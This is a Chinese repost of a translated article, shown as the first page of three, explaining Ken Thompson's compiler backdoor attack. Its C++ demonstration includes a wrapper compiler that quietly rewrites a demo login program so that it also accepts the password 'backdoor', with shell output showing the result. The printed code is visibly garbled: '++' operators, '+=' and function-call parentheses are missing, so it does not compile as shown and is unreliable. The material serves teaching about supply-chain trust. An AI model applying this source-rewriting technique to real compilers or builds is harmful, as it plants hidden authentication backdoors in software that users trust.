当前位置:首页 > 实用技巧 >

编译器是怎样编写的(java编写需要的编译器)

来源:原点资讯(www.yd166.com)时间:2023-05-29 22:48:25作者:YD166手机阅读>>

作者 | Akila Welihinda

译者 | 弯月

出品 | CSDN(ID:CSDNnews)

你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到 100 行代码实现这样的攻击。早在 1984 年,Unix 操作系统的创始人 Ken Thompson 就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这种攻击仍然是一个很大的威胁,而且目前还没有能够完全免疫的解决方案。XcodeGhost 是 2015 年发现的一种病毒,它就使用了 Thompson 介绍的这种后门攻击技术。我将在本文中使用 C 演示 Thompson 攻击,当然你也可以使用其他编程语言实现这种攻击。相信读完本文后,你会怀疑自己的编译器是否值得信赖。

可能你对我的这种说法深表怀疑,而且还有一连串的疑问。我想通过以下对话,解释一下Thompson 攻击的要点。

我:如何确保你的编译器老老实实地编译了你的代码,不会注入任何后门?

你:编译器的源代码通常是开源的,所以如果编译器故意留后门,肯定会有人发现。

我:但你信任的编译器的源代码最终都需要使用另一个编译器 B 进行编译。你怎么能确定 B 不会在编译期间偷偷潜入你的编译器?

你:这么说,我还需要检查 B 的源代码。但即使检查 B 的源代码会引发同一个问题,因为我还需要信任编译 B 的其他编译器。也许我可以反汇编已经编译好的可执行文件,看看有没有后门。

我:但反汇编程序也是一个需要编译的程序,所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。

你:这种情况实际发生的概率是多少?首先,攻击者需要构建编译器,然后用它来编译我的反汇编程序。

我:Dennis Ritchie 在创建了 C 语言后,与 Ken Thompson 联手创建了 Unix(用 C 编写)。因此,如果你使用的是 Unix,那么整个操作系统和命令行工具链都很容易受到 Thompson 攻击。

你:构建如此邪恶的编译器应该非常困难,所以这种攻击不太可能发生吧。

我:实际上,这很容易实现。下面,我就用不到 100 行代码向你展示如何实现一个邪恶的编译器。

编译器是怎样编写的,java编写需要的编译器(1)

演示

你可以克隆这个代码库(https://github.com/awelm/evil-compiler),并按照以下步骤试试看 Thompson 攻击的实际效果:

  1. 首先,验证程序 Login.cpp 只接受密码“test123”;

  2. 然后,使用邪恶的编译器编译登录程序:./Compiler Login.cpp -o Login;

  3. 使用./Login 运行登录程序,然后输入密码“backdoor”。你会发现自己能够成功登录。

谨慎的用户可能会在使用恶意编译器之前,阅读一下源代码并重新编译。然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。

  1. 验证 Compiler.cpp 是否干净(不必担心,这只是一个 10 行代码的 g 包装程序);

  2. 使用 ./Compiler Compiler.cpp -o cleanCompiler,重新编译源代码;

  3. 使用干净的编程器,通过命令./cleanCompiler Login.cpp -o Login 编译登录程序;

  4. 使用 ./Login 运行登录程序,然后验证密码“backdoor”是否有效。

下面,我们来探索如何创建这个邪恶的编译器,并隐藏它的不良行为。

编译器是怎样编写的,java编写需要的编译器(2)

创建一个干净的编译器

我们无需从头开始编写编译器来演示 Thompson 攻击,这个邪恶的“编译器”只是 g 的包装程序,如下所示:

// Compiler.cpp
#include <string>#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; system(shellCommand.c_str);}

我们可以通过运行 g Compiler.cpp -o Compiler 生成编译器的二进制文件,这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序,如果输入正确的密码“test123”,你就能够以 root 身份登录程序。稍后,我们将演示如何向该程序注入后门,让它也接受密码“backdoor”。

// Login.cpp
#include <iostream>
using namespace std;
int main { cout << "Enter password:" << endl; string enteredPassword; cin >> enteredPassword; if(enteredPassword == "test123") cout << "Successfully logged in as root" << endl; else cout << "Wrong password, try again." << endl;}

我们可以使用正常的编译器来编译和运行我们的登录程序:./Compiler Login.cpp -o Login && ./Login。

请注意,我们的编译器可以使用 ./Compiler Compiler.cpp -o newCompiler 编译自己的源代码,因为我们的 C 编译器本身是用 C 编写的。因此我们的编译器是自举的,也就是说新版的编译器是使用以前的版本编译的。这是一种很常见的做法,Python、C 和 Java 都有自举编译器。自举对于我们的第三步隐藏邪恶的编译器非常重要。

编译器是怎样编写的,java编写需要的编译器(3)

注入后门

下面,我们向编译器的登录程序注入一个后门,允许任何人使用密码“backdoor”登录。为了实现这一点,我们的编译器需要在编译 Login.cpp 时执行以下操作:

  1. 将 Login.cpp 复制到临时文件 LoginWithBackdoor.cpp;

  2. 修改 LoginWithBackdoor.cpp,接受密码“backdoor”,具体的方法是查找并修改所有检查密码的 if 条件;

  3. 编译 LoginWithBackdoor.cpp;

  4. 删除文件 LoginWithBackdoor.cpp。

下面是实现上述四个步骤的源代码。

// EvilCompiler.cpp
#include <string>#include <cstdlib>#include <regex>#include <fstream>#include <sstream>#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`void findAndReplace(string fileName, string regexPattern, string newText) { ifstream fileInputStream(fileName); stringstream fileContents; fileContents << fileInputStream.rdbuf; string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText); ofstream fileOutputStream(fileName); fileOutputStream << modifiedSource; fileOutputStream.close;}
void compileLoginWithBackdoor(string allArgs) { system("cat Login.cpp > LoginWithBackdoor.cpp"); findAndReplace( "LoginWithBackdoor.cpp", "enteredPassword == \"test123\"", "enteredPassword == \"test123\" || enteredPassword == \"backdoor\"" ); string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp"); system(modifiedCommand.c_str); remove("LoginWithBackdoor.cpp");}
int main(int argc, char *argv[]) { string allArgs = ""; for(int i=1; i<argc; i ) allArgs = " " string(argv[i]); string shellCommand = "g " allArgs; string fileName = string(argv[1]); if(fileName == "Login.cpp") compileLoginWithBackdoor(allArgs); else system(shellCommand.c_str);}

即便登录程序的源代码只接受密码“test123”,但经过这个邪恶的编译器编译后,就可以接受密码“backdoor”了。

> g EvilCompiler.cpp -o EvilCompiler> ./EvilCompiler Login.cpp -o Login> ./LoginEnter password:backdoorSuccessfully logged in as root

你可能已经注意到了,我们只需重命名 Login.cpp,这个后门攻击就可以被轻松破解。但是,邪恶的编译器可以根据文件内容来注入后门。

没有人会真正使用这个邪恶的编译器,因为任何人阅读一下源代码,就会发现它的诡计,并举报它。

编译器是怎样编写的,java编写需要的编译器(4)

首页 123下一页

栏目热文

怎么看出编译器运行的过程(怎么看自己使用的编译器)

怎么看出编译器运行的过程(怎么看自己使用的编译器)

作者:阮一峰源码要运行,必须先转成二进制的机器码。这是编译器的任务。比如,下面这段源码(假定文件名叫做test.c):...

2023-05-29 22:59:42查看全文 >>

怎么查询运行的编译器(怎么看自己使用的编译器)

怎么查询运行的编译器(怎么看自己使用的编译器)

起因在去年看.Net Conf China大会中,看到龙芯.Net编译组组长分享的PPT,有一张是介绍JIT执行过程,当...

2023-05-29 22:42:50查看全文 >>

酵母可以替代碱面吗

酵母可以替代碱面吗

很多北方家庭都有吃馒头的习惯,在我国的一些西北地区,更是一日三餐都离不开馒头。相信大家都知道,我国北方地区的主食就是面食...

2023-05-29 22:33:02查看全文 >>

酵母粉能代替碱面吗(食用碱面能和酵母一样吗)

酵母粉能代替碱面吗(食用碱面能和酵母一样吗)

导语:蒸馒头时用不用加碱面?有人不懂,难怪蒸出的馒头不好吃,味道差馒头是我们常吃的一种主食,柔软好消化,非常受欢迎,尤其...

2023-05-29 22:30:27查看全文 >>

碱面能代替酵母粉吗(酵母粉跟碱面能一起用吗)

碱面能代替酵母粉吗(酵母粉跟碱面能一起用吗)

过了年这段时间是不是大家都宅在家里的时间要多很多?在家里的时间大家是不是比平常在吃的时间上咱长很多?做凉皮,炸油条,蒸馒...

2023-05-29 22:53:30查看全文 >>

编译器是怎么写出来的(怎么自己写一个编译器)

编译器是怎么写出来的(怎么自己写一个编译器)

首先向C语言之父 Dennis Ritchie 致敬!当今几乎所有的实用的编译器/解释器(以下统称编译器)都是用C语言编...

2023-05-29 22:45:24查看全文 >>

编译器是用什么编写的(编译器是用什么软件写的)

编译器是用什么编写的(编译器是用什么软件写的)

所谓C语言编译器,就是把编程得到的文件,比如.c,.h的文件,进行读取,并对内容进行分析,按照C语言的规则,将其转换成c...

2023-05-29 22:38:25查看全文 >>

编译器是怎么运行的(python编译器怎么运行)

编译器是怎么运行的(python编译器怎么运行)

编译器的主要工作流程:源代码 (source code) → 预处理之前的翻译处理→预处理器 (preprocessor...

2023-05-29 22:27:01查看全文 >>

编译器使用方法(编译器的使用与技巧)

编译器使用方法(编译器的使用与技巧)

前言:C语言的应用范围广泛,具备很强的数据处理能力,不仅仅是在软件开发上,而且各类科研都需要用到C语言,适于编写系统软件...

2023-05-29 22:23:34查看全文 >>

编译器一直运行吗(没有编译器程序能执行吗)

编译器一直运行吗(没有编译器程序能执行吗)

大家好,很高兴又见面了,我是"高级前端‬进阶‬",由我带着大家一起关注前端前沿、深入前端底层技术,大家一...

2023-05-29 22:40:17查看全文 >>

文档排行